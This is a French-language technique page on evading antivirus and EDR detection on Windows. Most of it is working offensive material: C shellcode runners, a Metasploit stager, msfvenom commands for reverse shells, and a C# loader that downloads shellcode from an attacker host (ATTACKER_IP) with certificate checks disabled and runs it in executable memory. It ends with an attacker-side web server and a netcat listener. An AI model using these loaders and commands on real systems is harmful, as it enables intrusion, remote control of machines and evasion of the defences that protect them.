Skip to main content

[Windows] Antivirus/EDR Evasion

Introduction

Cette page décrit les techniques que l'on peut utiliser pour échapper à la détection antivirale d'une solution de type EDR ou d'un antivirus traditionnel sur des systèmes Windows.

image.png

Techniques

Extraire le shellcode de la section .text

À partir d'un programme, vous pouvez en extraire le shellcode de sa section .text grâce à la commande suivante :

objcopy -j .text -O binary <INPUT_BINARY> <OUTPUT_BINARY>

On peut afficher son contenu au format C avec la commande xxd :

xxd -i <BINARY>

Injection de shellcode dans un programme C

#include <stdio.h>

int main(int argc, char **argv) {
    unsigned char message[] = {
        0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
        0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
        0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
        0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
        0x0d, 0x0a
    };
    
    (*(void(*)())message)();
    return 0;
}

Remplacez le shellcode actuel par le vôtre.

Puis compilez-le :

gcc -g -Wall -z execstack <CODE>.c -o <OUTPUT>

Génération de shellcode avec Metasploit

L'outil msfvenom du framework Metasploit, vous permet de générer des shellcodes :

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

Le shellcode lancera une calculatrice dans cet exemple.

Vous pouvez créer un programme pour Windows qui va injecter le shellcode :

#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
        DWORD oldProtect;
        VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
        int (*shellcode)() = (int(*)())(void*)stager;
        shellcode();
}

Puis compilez-le :

i686-w64-mingw32-gcc calc.c -o calc-MSF.exe

Vous pouvez aussi générer des fichiers binaires en .bin plutôt que de créer des exécutables avec msfvenom :

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin

Vous pouvez utiliser la commande xxd -i sur le fichier généré pour créer un shellcode au format C.

Stage vs Stageless payloads

Un payload stageless va directement exécuter le programme malveillant : 

image.png

Alors qu'un payload stage va exécuter un ou plusieurs stages qui vont récupérer le shellcode sur le serveur distant, l'injecter dans la mémoire puis potentiellement l'exécuter :

image.png

image.png

 

Voici les avantages du StageLess :

    Toute la charge utile dont le shellcode est inclue dans le programme.
    Le payload s'exécute sans effectuer de requête supplémentaire vers le réseau (ce qui pourrait être détecté par un IPS).
    Si vous attaquez un hôte avec des accès réseaux très restreints, vous avez toute la charge utile inclue dans le même programme.

    Et voici les avantages du Staged :

      Les traces sur le disque sont réduites puisque le Stage0 est seulement en charge de récupérer le shellcode final. Il est aussi plus léger en espace disque.
      Le shellcode final n'est pas caché dans le programme, ce qui rend l'analyse plus complexe pour la Blue Team pour comprendre le fonctionnement du shellcode final.
      Le shellcode final est chargé uniquement dans la mémoire ce qui échappera à la détection de certains antivirus.
      On peut réutiliser le même Stage0 pour plusieurs shellcodes finaux différents.

      Pour générer un payload Staged avec msfvenom utilisez le payload suivant :

      windows/x64/shell/reverse_tcp

      Et pour du StageLess :

      windows/x64/shell_reverse_tcp

      Voici un programme C# Staged qui va récupérer un fichier binaire sur le serveur de l'attaquant puis il va l'exécuter dans un thread :

      using System;
      using System.Net;
      using System.Text;
      using System.Configuration.Install;
      using System.Runtime.InteropServices;
      using System.Security.Cryptography.X509Certificates;
      
      public class Program {
        //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 
        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
      
        //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
      
        //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
      
        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
      
        public static void Main()
        {
          string url = "https://ATTACKER_IP/shellcode.bin";
          Stager(url);
        }
      
        public static void Stager(string url)
        {
      
          WebClient wc = new WebClient();
          ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
          ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
      
          byte[] shellcode = wc.DownloadData(url);
      
          UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
          Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
      
          IntPtr threadHandle = IntPtr.Zero;
          UInt32 threadId = 0;
          IntPtr parameter = IntPtr.Zero;
          threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
      
          WaitForSingleObject(threadHandle, 0xFFFFFFFF);
      
        }
      }

      Pensez à remplacer l'adresse IP du serveur de l'atttaquant dans la fonction Main.

      Sur une machine Windows vous pouvez compiler le code :

      csc staged-payload.cs

      Puis sur le serveur de l'attaquant, vous pouvez monter un serveur web avec un certificat (peu importe la validité) :

      openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
      python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

      Maintenant que le serveur web est prêt, il faut générer le shellcode :

      msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'

      Puis lancez un serveur netcat en écoute :

      nc -lvp 7474